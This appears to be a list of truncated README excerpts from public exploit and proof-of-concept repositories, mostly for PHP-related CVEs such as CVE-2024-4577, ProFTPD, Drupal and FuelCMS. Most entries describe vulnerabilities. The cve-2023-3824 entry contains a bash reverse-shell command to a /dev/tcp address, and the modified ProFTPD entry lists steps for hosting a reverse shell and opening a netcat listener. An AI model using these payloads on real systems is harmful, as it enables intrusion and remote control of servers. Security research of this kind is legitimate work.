CVE-2026-109115

The AdithyaYelloju Restaurant-Management-System is vulnerable to a remote SQL injection flaw within the Password Reset component, specifically affecting the processing of the User/forgot3.php file. An attacker can initiate the attack remotely by manipulating the email/password arguments. While th...

CVE-2026-999999

X-Trading Portal: Regional Financial Infrastructure v1.4.2 Overview This repository contains the core distribution and deployment configurations for the X-Trading Portal XTP , a containerized solution designed for retail banking and stock trading services. This version v1.4.2 includes the updated...

CVE-2026-46420

CVE-2026-46420 PoC Command injection in shivammathur/setup-php when the PHP version is loaded from repository controlled files. Affected: = 2.25.0, = 2.37.1 PoC The target repository already has a vulnerable workflow that checks out pull request contents and runs [email protected]. The...

CVE-2023-47253

CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', Proof of Concept POC Just access the URL with your PHP code in "gridValoresPopHidden" parameter. Researches h...

HTB_Nibbles

HTBNibbles In this repository you will find the technical report of Nibbles, the exploit pwned.py to abuse the CVE-2015-6967 and an autopwn tool autopwn.py in case you want to resolve the machine in HackTheBox. Pwned.py tool: This file will help you to exploit CVE-2015-6967. If you want to run th...

CVE-2024-4577-RCE-EXP

TG Join Us https://t.me/WanLiChangChengWanLiChang Join us to regularly receive various vulnerability EXP and POC CVE-2024-4577-RCE-EXP CVE-2024-4577 PHP CGI Remote Code Execution Vulnerability on Windows Platform CVE-2024-4577 PHP CGI Remote Code Execution Vulnerability on Windows Platform RCE EX...

CVE-2025-50867

A SQL Injection vulnerability exists in the takeassessment2.php endpoint of the CloudClassroom-PHP-Project 1.0, where the Q5 POST parameter is directly embedded in SQL statements without sanitization. Vulnerability Type : SQL Injection Vendor of Product :...

CVE-2026-27475

CVE-2026-27475 CVSS-B 9.2 CRITICAL Authenticated Insecure Deserialization in SPIP 4.4.8 Explanations and more on my website RCE Gadget Attacker plugins/rcegadget/rcegadgetoptions.php DEBUG:\n"; echo "File: "; vardump$this-file; echo "Data: "; vardump$this-data; echo ""; fileputcontents$this-file,...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2015-3306

CVE-2015-3306 ProFTPD Exploit This repository contains a Python proof-of-concept PoC exploit for CVE-2015-3306 ⚠️ Warning: Only use this against systems you own or have explicit permission to test. Unauthorized exploitation is illegal. Author Mohamed EL-KHAROUATI Part 1: CVE-2015-3306 ProFTPD...

CVE-2024-4577-PHP-CGI-argument-injection-RCE

PHP CGI argument injection to RCE CVE-2024-4577 - exploit code The CVE-2024-4577 vulnerability in PHP CGI has emerged as a critical security flaw, allowing remote code execution through argument injection. Discovered in multiple PHP versions, this vulnerability primarily affects servers running i...

Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit How to 1. Create a php reverse shell 2. Start server to host shell in the same directory python3 -m http.server 3. Start netcat listener on local port of choice example: nc -nlvp port of choice 4. Run exploit example provided below python3 modifiedCVE20153306.py...

CVE-2018-7600

CVE-2018-7600 - Drupal 7 Remote Code Execution A Rust implementation of the CVE-2018-7600 exploit targeting vulnerable Drupal 7 installations = 7.57. This CLI reproduces this following PoC flow: it poisons a cached renderable form via the user/password path, extracts a formbuildid, then triggers...

CVE-2024-4577

CVE-2024-4577 - PHP CGI Argument Injection RCE Summary CVE-2024-4577 is a critical PHP CGI argument injection vulnerability that affects Windows systems running PHP in CGI mode. This flaw allows remote attackers to inject arguments into PHP's command line via specially crafted URLs, leading to...

CVE-2020-13671

CVE-2020-13671 RCE via File Upload — Drupal Core Software: Drupal Core 8.7.5 Affected: 7.x 7.78, 8.x 8.8.11, 8.9.x 8.9.9, 9.0.x 9.0.8 CVSS: 8.8 High CWE: CWE-434 — Unrestricted Upload of File with Dangerous Type CISA KEV: Yes — Known Exploited Vulnerability Advisory: SA-CORE-2020-012 What is Drup...

CVE-2018-16763_FuelCMS-1.4.1_RCE

CVE-2018-16763 FuelCMS - 1.4.1 - RCE PoC FuelCMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution. Exploit This works by exploiting the PHP filter parameter which allows you to use the system...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP Code Injection PoC Exploit Bash Introduction ISPConfig versions = 3.2.11 are vulnerable to an authenticated PHP code injection vulnerability via the records parameter in the /admin/languageedit.php endpoint. A malicious authenticated admin user can exploit this to...

ctf-cve-2024-4577

CVE-2024-4577 CTF Challenge Overview This CTF challenge demonstrates CVE-2024-4577, a critical PHP CGI argument injection vulnerability affecting PHP versions 8.1.x 8.1.21, 8.2.x 8.2.8, and 8.3.x 8.3.1. Vulnerability Details CVE-2024-4577 is a PHP CGI argument injection vulnerability that occurs...

CVE-2024-4577-PHP-RCE

CVE 2024-4577 PHP Remote Code Execution automated scanner by Waived Affected versions: PHP 8.3, 8.3.8, 8.2. 8.2.20, 8.1., 8.1.29 Details: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 https://www.exploit-db.com/exploits/52047 https://vulners.com/cve/CVE-2024-4577 Overview: This is a scanner that...

CVE-2023-20209

I started looking at Cisco Expressway after I noticed quite a few of them on the internet during Red Team engagements, but never had the time during work to explore the product further. Initially I was looking for an auth bypass to chain into RCE but ran out of time and settled on a post auth RCE...